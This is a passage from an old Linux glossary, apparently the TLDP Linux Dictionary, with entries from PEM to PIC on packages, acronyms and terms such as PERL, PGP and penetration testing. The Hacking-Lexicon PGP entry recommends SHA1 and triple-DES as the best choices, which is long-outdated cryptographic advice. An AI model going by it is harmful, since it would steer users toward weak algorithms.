Of historical interest only, PEM was the first Internet standard for encrypting/signing e-mail. It later evolved into S/MIME. Contrast: Core components of PEM influenced later standards such as SSL. For example, the certificates used by some SSL implementations end in the suffix ".pem". Contrast: PEM and PGP are functionally similar as far as e-mail encryption is concerned. The main difference is that PEM is based upon PKI standards like X.509 certificates, whereas PGP uses more ad hoc technologies. The frameworks are completely incompatible, so that an e-mail encrypted using one system cannot be decrypted using the other. The basic difference in the framework is that PEM uses X.509 hierarchy of certificate authorities, whereas PGP uses a more distributed "web of trust". From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PEN

Public Education Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pencam

Download images from STV0680B-001 chip based digital cameras pencam is a command line program which can download images from digital cameras which use the STV0680B-001 chip (e.g. the Aiptek Pencam or the Nisis Quickpix 2). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

penetration testing (pen testing)

A penetration test is where a client hires ethical hackers to attempt to break into their systems. The value of penetration testing is that attack and defense are different mindsets. People who must defend against systems are frequently not very good at finding ways into systems, and vice versa. Controversy: There are several well-documented cases where clients have been burned by such tests. The penetration testers may find juicy corporate data that they cannot resist taking. Controversy: Many people debate the efficacy of such tests. Evil hackers will choose a set of techniques that protect them from being caught. Penetration testers do not fear prosecution, and will therefore choose a different set of techniques. See also: tiger team From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

penguin-command

a missile command clone This is a clone of the classic "Missile Command" Game, but it has better graphics and music. You have to defend cities by shooting at missiles, flyers and smartbombs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

penguineyes

A gtk version of xeyes penguineyes displays Tux, Evil Tux, Penguin of Lurve, Robopenguin, Gnu, Dust Puppy or Linus following your mouse cursor with their eyes. Upstream webpage: no longer available (was <http://www.crathva.fsnet.co.uk/penguineyes.html>) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pent

Five in a row game for X and the console Pente is the English name for the Asian game ni-nuki, which itself is a version of the game go-moku. The game is a variant of the well known five in a row. Placing five stones in a row is one way to win, the other is to capture five pairs of the opponents stones. Pente can run in three different modes: X, curses or text. You can play against the computer or another human, and there is also support for playing over a network. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pentium-builder

force pentium optimized compilation Replaces gcc, cc, and g++ with scripts that build pentium optimized code. (Other processors can be optimized for as well.) By default, after installing this package, the compilers will behave normally. However, if the environment variable DEBIAN_BUILDARCH=pentium is set, they will enter pentium optimized compile mode. From

Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Packed Encoding Rules (ASN.1) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PER

Program Event Recording From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perdition

POP3 and IMAP4 Proxy server Perdition allows users to connect to a content-free POP3 or IMAP4 server that will redirect them to their real POP3 or IMAP4 server. This enables mail retrieval for a domain to be split across multiple backend servers on a per user basis. This can also be used to as a POP3 or IMAP4 proxy especially in firewall applications. Perdition supports arbitrary library based map access to determine the server for a user. POSIX Regular Expression, GDBM, MySQL, PostgreSQL and LDAP libraries ship with the distribution. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perdition-ldap

Library to allow perdition to access LDAP based pop maps. Perdition allows for arbitrary user database access through shared libraries much in the manner of NSS in glibc. This package allows a user database to be sourced from LDAP. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perdition-mysql

Library to allow perdition to access MySQL based pop maps. Perdition allows for arbitrary user database access through shared libraries much in the manner of NSS in glibc. This package allows a user database stored in a MySQL database. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perdition-postgresql

Library to allow perdition to access PostgreSQL based pop maps. Perdition allows for arbitrary user database access through shared libraries much in the manner of NSS in glibc. This package allows a user database stored in a PostgreSQL database. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perforate

Utilities to save disk space GNU cp used to detect files that contain 0-filled holes and save disk space by skipping them with lseek when writing a file and thus not allocating disk blocks. Unfortunately it does no longer. So here is program to make holes in existing files. Also there are some scripts that help cleaning up the hard disk (finding duplicated and/or unstripped files). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perimeter network

A network added between a protected network and an external network, in order to provide an additional layer of security. A perimeter network is sometimes called a DMZ. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

peripheral component interconnect (PCI)

A computer system's local bus that provides a high-speed connection between a computer system and its peripherals; allows connection of up to seven peripheral devices in a single system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perl

Linux Dictionary

Larry Wall's Practical Extraction and Report Language. An interpreted scripting language, known among some as "Unix's Swiss Army Chainsaw". Perl is optimised for scanning arbitrary text files and system administration. It has built-in extended regular expression matching and replacement, a data-flow mechanism to improve security with setuid scripts and is extensible via modules that can interface to C libraries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERL

Pathologically Eclectic Rubbish Lister (slang) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perl

Perl is a high-level programming language with roots in C, sed, awk and shell scripting. Perl is good at handling processes and files, and is especially good at handling text. Perl's hallmarks are practicality and efficiency. While it is used to do a lot of different things, Perl's most common applications (and what it excels at) are probably system administration utilities and web programming. A large proportion of the CGI scripts on the web are written in Perl. You need the perl package installed on your system so that your system can handle Perl scripts. You need perl-base to have a full perl. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERL

PERL is a popular scripting language. PERL is so popular because: It runs on all platforms (UNIX, Windows, etc.) It easily parses text files and generates reports. It is easily to learn. Supports a large library of utilities to work from. Easily integrated into web-servers for CGI It is open-source Key point: v5 of PERL has the concept of "tainted" input that cannot be passed raw to the operating system without preprocessing. This is an amazingly useful feature that solves the majority of input validation problems in CGI scripts. Key point: A frequent misconfiguration is putting a PERL executable directly in the cgi-bin directory, allowing remote access of it. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERL

Practical Extraction and Report Language (PERL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Perl

Practical Extraction and Report Language – An interpreted language developed by Larry Wall (, author of patch(1) and rn(1)) and distributed over Usenet. Superficially resembles awk, but is much hairier, including many facilities reminiscent of sed(1) and shells and a comprehensive Unix system-call interface. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perl

Practical Extraction and Report Language From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERL (Practical Extraction and Report Language)

In UNIX an interpreted scripting language that is specifically designed for scanning text files, extracting information from these files, and preparing reports summarizing this information. Written by Larry Wall, perl is widely used to create Common Gateway Interface (CGI) scripts that handle the output of HTML forms. See HyperText Markup Language (HTML) and interpreter. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Perl (Practical Extraction and Report Language) A common scripting/programming language. It is often used on UNIX/Linux Web servers for generating CGI scripts. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perl2html

Highlight perl sources for WWW presentation perl2html can highlight your source for presentation in the WWW. It can also be used as a CGI script and can detect whether the client browser supports

compressed data to save bandwidth. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perlbug

how to submit bug reports on Perl From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perlcc

generate executables from Perl programs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perlmagick

A perl interface to the libMagick graphics routines. PerlMagick is a perl module which gives you all the functionality you can enjoy in the imagemagick package binaries, from perl. One can load several images with perlmagick, apply numerous transformations and operations on the images and write them back, possibly in a different format. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perlmenu

Menu and Template (curses-based) UI for Perl perlmenu is a Perl module that provides your application with access to easy-to-use functions for templates, menus, forms, and the like -- everything needed to put a slick UI on a program without resorting to a GUI. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perlshtml

tools to build and analyze SGML or XML document type definitions. dtd2html generates a suite of linked HTML documents listing the components and features of each element in an SGML Document Type Definition (DTD). dtddiff shows differences between two DTDs. dtdtree shows the hierarchy tree (in ASCII) of SGML elements in a DTD. dtdview is an interactive program for studying an SGML DTD. striphtml strips SGML markup from a file, and also attempts to translate entity references to standard ASCII characters. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perltidy

A Perl script indenter and reformatter Perltidy is a Perl script which indents and reformats Perl scripts to make them easier to read. The formatting can be controlled with command line parameters. The default parameter settings approximately follow the suggestions in the Perl Style Guide. If you write Perl scripts, or spend much time reading them, you will probably find it useful. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERM

Pre-Embossed Rigid Magnetic (Sony, HDD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERMIS

PERManentes InventurabwicklungsSystem (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

permission

Identifiers that control access to files; consists of three fields: user, group, and other; generally controls read, write, and execute operations. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Permission

The authority to read and write files and directories, and execute programs. Varying permission levels can be assigned by the Superuser, or root operator, on a file-by-file, directory-by-directory basis or by account name (User ID). From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Permission Block

This is part of the inode table's entries for each file and directory. The permission block can be shown for files and directories by using "ls -al" - the long output directory listing and is represented by 10

characters. The first character is a file type indicator differentiating between a file and a directory. The other nine characters refer to access permissions for the owner, group and world. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PEROM

Programmable Erasable Read Only Memory (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERPOS

PERpetual Processing Operating System (OS, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Personal Computer Memory Card International Association (PCMCIA)

A standard for PC cards. Adding a modem, network card, and removable disk drives (especially on portable computers) sometime requires the use of PCMCIA cards and compatible slots on computer systems. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

perspic

A text indexing and word search program Perspic is a tool for the study of documents that change infrequently if at all, e.g. sacred texts, ancient texts of historical interest, etc. Perspic build a fully indexed and compressed version of the original text files. Word search results are summarized by line. Selecting a given line opens the full text about the given word. Other features include dictionary definition of words, scanning of word derivatives, and saving selected quotations with their accompanying attribution. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PERT

Program Evaluation / Evolution and Review Technique From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

peruser

Suite for offline reading and composing of Usenet articles News Peruser is a suite of several small programs to enable a user to do offline reading and composition of Usenet news articles. Peruser can compose replies-by-mail, as well, and pass them off to a local sendmail. The toplevel applet's filename is "npcollections", but you are able to launch News Peruser by typing both "npcollections" or "peruser" at the shell prompt, or by selecting it from your window manager's menu. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

petsc

PETSc is the "Portable Extensible Toolkit for Scientific Computation", a suite of data structures and routines for the scalable (parallel) solution of scientific applications modeled by partial differential equations. It employs the MPI standard for all message-passing communication. Several sample scientific applications, as well as various papers and talks, demonstrate the features of the PETSc libraries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PEX

PHIGS Extension for X (X-Windows, PHIGS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pexts

Pexts is a collection of Pike extension modules designed to fill the gaps that are in the standard Pike distribution. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pf2afm

Make an AFM file from Postscript (PFB/PFA/PFM) font files using ghostscript From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFA

Parameter Field Address (Forth) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFA

Predictive Failure Analysis (HDD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pfadedit

Font Editor for PS, TrueType and OpenType fonts PfaEdit allows you to edit outline and bitmap fonts. You can create new ones or modify old ones. It is also a font format converter and can convert among PostScript (ASCII & binary Type 1, some Type 3s, some Type 0s), TrueType, and OpenType (Type2). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pfb2pfa

convert a type1 pfb file (binary MSDOS) into a pfa (ASCII) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFC

Power Factor Correction From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFC

Protocol Field Compression (PPP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFE

Page Fault Error (Windows, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pfe

Portable Forth Environment, ANS standard, all wordsets. PFE (Portable Forth Environment) is a programming environment for the programming language Forth. PFE is based on the ANSI Standard for Forth. It has been created by Dirk-Uwe Zoller and is now maintained by Guido Draheim at Tektronix. Tektronix has made a number of extensions: PFE is now fully multithreaded and you can load additional C objects at runtime to extend the Forth dictionary. It is best targeted for embedded environments since you can easily exchange the terminal driver and the initialization routines. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFK

Program Function Key From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pflogsumm

Postfix log entry summarizer pflogsumm is designed to provide an over-view of postfix activity, with just enough detail to give the administrator a "heads up" for potential trouble spots. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFM

Printer Font Metrics (Adobe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pforth

portable Forth interpreter pForth is a public domain, portable ANS Forth based on a kernel written in ANSI 'C'. This makes it easy to port pForth to multiple platforms. More information on pForth is available at <http://www.softsynth.com/pforth/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PFPU

Processor Frame Power Unit From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostgreSQL documentation in PDF format on US letter paper PostgreSQL documentation in PDF format formatted for US letter paper size From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgdocs-pdf-a4

PostgreSQL documentation in PDF format for A4 paper PostgreSQL documentation in PDF format, arranged for A4 size paper. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGFNA

Prince George Free-Net Association (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGI

Parameter Group Identifier (SPDU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgi

Progeny graphical installer creation system This package contains PGI, a multi-architecture graphical installer creation system for Debian GNU/Linux originally developed by Progeny Linux Systems, Inc., for their Debian-based "Progeny Debian" operating system. This package enables the user to create ISO images containing a bootable installer (PGI) which guides the user through the steps of installation. The installer supports text and graphical installation modes. PGI runs debootstrap to install a minimal Debian system to the target filesystem(s), sets up a boot loader (if the installing user requests), and uses the pivot_root() system call to "boot" into the installed system. ISO images may be generated with complete or partial Debian package archives, or with the the installer only (useful for network-only installs, which PGI supports.) PGI is extensible and customizable. Two example extensions are provided with this package; one uses the base-config package, while the other configures the installed system using the X-based Configlet system. Two manuals are provided as part of this package. "Creating Debian Installers with PGI" documents the setup and configuration of a PGI-based installer ISO in detail. "Using the PGI Debian Installer" is an example of a PGI user's manual. Those creating custom installers with PGI will want to update the user's manual for their target audience. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGM

Practical General Multicast (Cisco, Multicast) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGML

Precision Graphics Markup Language (XML, IBM, Netscape, Sun, Adobe) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgmonitor

Tcl/TK script for examining the status of PostgreSQL backends This is a Tk/Tcl script for listing PostgreSQL backends and showing their current status. If run by root or the PostgreSQL admin user, it is able to show what query a backend is running. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgn-extract

a Portable Game Notation (PGN) extractor Pgn-extract is a program to extract selected games from a collection of chess games in PGN format. There are several ways to specify the criteria on which to extract: textual move sequences, the position reached after a sequence of moves, information in the tag fields, and material balance in the ending. From Debian 3.0r0 APT

PGO

Profile Guided Optimization (Intel) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGP

Pretty Good Privacy From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGP

see pretty good privacy (PGP). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGP (Pretty Good Privacy)

A high-security, public-key data encryption program for UNIX/Linux and other operating systems.
From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgp (pretty-good-privacy)

Popular encryption program. It was created by a fellow named Phil Zimmerman as a subversive act. Phil later exploited it as a social-engineering attack against the business community. Key point: All true hackers use open-source versions of PGP to encrypt their data. Resources: RFC 1991: PGP Message Exchange Formats RFC 2015: MIME Security with Pretty Good Privacy (PGP) RFC 2440: OpenPGP Message Format Point: Users of PGP have choices of the following algorithms. Note that older v2.6 users can only use RSA/MD5/IDEA to read messages. encryption 3DES (aka. Triple-DES) The best choice for conservative people. The NSA claims that further proliferation of triple-DES is counter to national security interests, presumably because they cannot break it. It is the most analyzed cipher (and therefore believed to be the most secure) and is extensively used in the finance industry to protect transactions. IDEA A bad choice from the standpoint that it is protected by patents and many people are unable to use it. CAST5 AES The new United States standard, a good second choice, especially if speed is a concern. Twofish Blowfish public key RSA DSS (aka. DSA) DH/ELG-E Diffie-Hellman used for encryption, but not signing. ELG ElGamal signing, not recommended as it is considered weak. hash SHA1 The best choice for security paranoid people. MD5 The worst choice for paranoids, however, it is often the most popular. RIPEMD160 From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgp4pine

A PGP/GPG Wrapper for Pine pgp4pine supports encryption/signing and decryption/verifying of PGP2, PGP5 and GnuPG email. Currently does not support MIME attachments. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgpgpg

Wrapper for using GnuPG in programs designed for PGP Pgpmpg is a wrapper around Gnu Privacy Guard which takes PGP 2.6 command line options, translate them and then call GnuPG (Gnu Privacy Guard) to perform the desired action. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgrep

grep utility that uses perl compatible regexes. Perl-style regexps have many useful features that the standard POSIX ones don't; this is basically the same as grep but with the different regexp syntax. The other reason for the existence of pgrep is that its source code is an example of programming with libpcre. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pgrep

look up or signal processes based on name and other attributes From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PGS

Program Generation System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PH

short for PHonebook, a PH client program can be used to access a QI (CCSO Nameserver) database. QI databases are generally used to store phone books, timetables, and other forms of public information. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phalanx

Chess playing program. Phalanx is a simple chess playing program of conventional design. It is xboard compatible. The main aim is to write a slow thinker with a lot of chess specific knowledge. Current version plays risky, active chess and shows quite good tactical performance. From Debian

3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pharmacy

A GNOME front-end to CVS Pharmacy intends to be a GNOME compliant front-end to CVS. Currently, it provides a limited user interface to CVS commands and a "console" for the lazy power-user. It allows you to work with several CVS servers and to have a local working directory for each. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phaseshift

PSK31 terminal for X11 phaseshift is a PSK31 terminal for X11. PSK31 is a new modulation scheme popular with radio amateurs on HF radio. This program implements the PSK31 modem and a terminal to use it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Phat Linux

In late 1998, Phat Linux created a simple, easy to use Linux operating system that ran on a Windows 95/98 partition. Phat Linux v3.3 comes with lots of popular software, including KDE 2.0, XFree86 3.3.6, Netscape, and much much more. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Phayoune Secure Linux

Phayoune-Desktop 0.0.11 was the most recent version when it was added to list July 8, 2002. The initial release of Phayoune Firewall was 0.3.3, dated December 25, 2002. Phayoune Firewall 0.3.6 was released May 21, 2003. Thailand based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHIGS

Programmer's Hierarchical Interactive Graphics System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHIGSPLUS

PHIGS Plus Lumiere and Surfaces (PHIGS), "PHIGS-PLUS" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHIPS

Professional High-Resolution Image Processing System (CA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phluid

Imlib2 based Window Manager for X This is a lightweight window manager for X, based on Enlightenment's Imlib2 library. At the moment it is still in heavy development, but has basic theming support and development is happening rapidly. With Imlib2's support for alpha transparency and blending, this will rapidly turn into a superbly attractive window manager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHOTON

paneuropian PHOtonic Transport Overlay Network (ACTS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

photopc

Interface to digital still cameras This is a library and a command-line frontend to manipulate digital still cameras based on Fujitsu chipset and Siarra Imaging firmware. The program is known to work with Agfa, Epson and Olympus cameras. Should also work with Sanyo, but this is untested. The cameras typically come with software for Windows and for Mac, and no description of the protocol. With this tool, they are manageable from a UNIX box. Bruce D. Lightner <lightner@metaflow.com> has added support for Win32 and DOS platforms. Note that the program does not have any GUI, it is plain command-line even on Windows. For a GUI, check out the phototk program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phototk

GUI interface for digital cameras This is a GUI front-end to the photopc program that is used for downloading images and manipulating certain serial-controlled digital cameras. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHP

PHP Hypertext Preprocessor (PHP/FI, HTML, CGI, successor) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

php-elisp

Emacs support for php files. Emacs major mode for php supporting syntax highlighting, indentation and good integration with html-statements. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

php-gtk

PHP extension for GTK+ client-side cross-platform GUI apps. PHP-GTK: PHP language bindings for GTK+ toolkit PHP-GTK is a PHP extension that enables you to write client-side cross-platform GUI applications. This is the first such extension of this kind and one of the goals behind it was to prove that PHP is a capable general-purpose scripting language that is suited for more than just Web applications. This extension will not allow you to display GTK+ programs in a Web browser, and can be used in the Web environment only if you are running the webserver locally. It is intended for creating standalone GUI applications. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

php-imlib

PHP Imlib2 Extension php_imlib is an extension for PHP4 that provides access to Rasterman's image manipulation library, Imlib2, from within PHP scripts. It currently implements most of the Imlib2 API, except for some X11-specific functions. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

php3

A server-side, HTML-embedded scripting language PHP: Hypertext Preprocessor Version 3.0 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. This package provides the loadable module for the apache webserver, some modules providing extra functions, and a php/fi 2.0 -> php3 script converter (works most of the time). With additional modules it supports direct communication with postgresql, mysql, msql databases, dbf files, and it has an interface to the libgd graphics library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

php4

A server-side, HTML-embedded scripting language This package provides the loadable module for the apache webserver. Compiled in modules are: bcmath, calendar, curl, dba, exif, filepro, ftp, mm, sockets, wddx, xml, yp and zlib. PHP4 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. The most significant change between php3 and php4 is the new parser engine called Zend, which boosts performance quite impressively. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phpdoc

Documentation for PHP4 and PHP3 This package provides the documentation for the PHP4 scripting language. It is mostly complete now, but it undergoes continual improvements. PHP: Hypertext Preprocessor Version 4.0 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHPFI

Personal Home Page [construction kit]/Form Interpreter (HTML, CGI, PHP, Verlaeuffer), "PHP/FI" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phpgroupware

Web based GroupWare system written in PHP phpGroupWare is a web based GroupWare system. It comes with several core apps for email, calendar, todo list, address book, file manager, and a notepad. It also provides a framework for add-on modules to integrate seamlessly in phpGroupWare. Some samples are a bookmark manager, a trouble ticket system, a weather reporter, a phone log, a chat program, and a forum system. There are many more in development, and you can develop your own as well. You should use it if you would like a powerful groupware system that can be access from anywhere on the Internet, and allows for custom add-ons. For companies with a distributed user base, it's an ideal solution. Oh, and did I mention that its FREE? From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phplib

Library for easy writing web applications (stable version) The library will help you to write medium and large sized data-driven web applications. "Medium to larged applications" are applications that consists of multiple database queries, have to generate tables from database data, need a user interface that generates SQL queries or need a comfortable and user-friendly way to protect pages or functionality on pages. "Data-driven" applications are applications that make use of a supported SQL databse to create HTML content and that use HTML forms to drive database transactions. This is the official stable version More information can be found at the phplib web site

<http://phplib.sourceforge.net/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phpmyadmin

A set of PHP-scripts to administrate MySQL over the WWW. phpMyAdmin is intended to handle the administration of MySQL over the WWW. Currently it can: – create and drop databases – create, copy, drop and alter tables – delete, edit and add fields – execute any SQL-statement, even batch-queries – manage keys on fields – load text files into tables – create and read dumps of tables – export and import CSV data – administer one single database From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phpPgadmin

A set of PHP-scripts to administrate PostgreSQL over the WWW. phpPgAdmin is intended to handle the administration of PostgreSQL over the WWW. Currently it can: – create and drop databases – create, copy, drop and alter tables/views/sequences/functions – edit and add fields (to the extent Postgres does) – execute any SQL-statement, even batch-queries – manage keys on fields – load text files into tables – create and read dumps of tables – administer one single database – administer postgres users From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

phpsysinfo

PHP Based Host Information phpSysInfo is a PHP script that displays information about the host being accessed. It will displays things like Uptime, CPU, Memory, LM Sensors, SCSI, IDE, PCI, Ethernet, Floppy, and Video Information. It has support for multiple languages and themes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Phrealon Linux

Phrealon is a bootable Linux CD based on Slackware Linux 8.0 designed to allow the easy imaging of multiple workstations. It utilizes the updcast set of Linux tools to accomplish this. The initial release, version 0.80, was released November 7, 2002. Version 0.82 was released February 27, 2003. A CD-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHUN

Phreakers and Hackers Underground Network (network) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PHY

PHYSical Layer Control (FDDI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

physical volume (PV)

A partition or segment of a storage disk that can be integrated into a one logical volume and controlled by logical volume management (LVM). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pi

Compute Archimedes' constant Pi to arbitrary precision. This is a teaser for the CLN library, to which the actual computation is delegated. You may use these decimal digits as random digits or search them for hidden messages. :-) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PI

Placement and Interconnect [system] (VLSI, MIT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIA

Peripheral Interface Adapter From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIA

Plug-In Administrator From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pic

compile pictures for troff or TeX From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIC

Personal Intelligent Communicator From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIC

Point in Call (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIC

Primary Independent Carrier From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIC

Priority Interrupt Controller (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIC

Programmable Interrupt Controller (PIC) From VERA
